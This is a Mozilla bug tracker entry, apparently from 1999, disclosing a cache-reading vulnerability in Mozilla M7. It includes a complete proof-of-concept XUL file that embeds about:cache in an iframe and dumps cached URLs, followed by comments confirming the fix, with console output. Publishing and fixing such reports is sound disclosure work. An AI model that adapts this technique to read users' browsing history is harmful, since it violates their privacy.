9810 - Reading user's cache using XUL and iframe

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

There is a security vulnerability in Mozilla 5.0 M7 Win95 (guess all platforms),
which allows reading user's cache using XUL and iframe.
The code is:
----------------------------------cache2.xul--------------------------
<?xml version="1.0"?>
<!--
 <?xml-stylesheet href="xul.css" type="text/css"?>
-->
 <!DOCTYPE window>
 <xul:window
   xmlns:html="http://www.w3.org/TR/REC-html40"
   xmlns:xul ="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
   title = "Reading user's cache">
 <html:script>
   <![CDATA[
   function dumpCache() {
     dump("Here are some URLs from your cache:\n");
     for(i=0;i<10;i++)
       dump(window.frames[0].document.links[i].href+"\n");
   }
   ]]>
 </html:script>
 <xul:toolbox>
   <xul:toolbar>
     <xul:titledbutton
       value="Press me to dump cache"
       onclick="dumpCache()"
       style="background-color:rgb(192,192,192);"/>
   </xul:toolbar>
 </xul:toolbox>
<html:hr/>
<html:iframe type="content-primary" src="about:cache" />
<html:h3>
Press the button and look at the apprunner console to see some URLs in your cache.
</html:h3>
</xul:window>
----------------------------------------------------------------------

Comment 1

[leger]

Updating component

Comment 2

[Norris Boyd]

Fixed. Now we get an error from the URL checks:

->>>>>>>>>>>>>> Write Clipboard to memory
->>>>>>>>>>>>>> Read Clipboard from memory
Opening file signon.tbl failed
FindShortcut: in='http://prime/gunxul/cache1.xul '  out='null'
JavaScript Error: illegal URL method 'about:cache'
URL: http://prime/gunxul/cache1.xul
LineNo: 4

JavaScript Error: uncaught exception: [Exception... "Failure"  code: "-214746725
9" nsresult: "0x80004005 (NS_ERROR_FAILURE)"  location: "http://prime/gunxul/cac
he1.xul  Line: 4"]

Document http://prime/gunxul/cache1.xul  loaded successfully
Document: Done (0.657 secs)

Comment 3

[dshea]

Windows NT 1999120208 Comm
Verified

Comment 4

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.

Comment 5

[Mitchell Stoltz (not reading bugmail)]

Opening fixed security bugs to the public.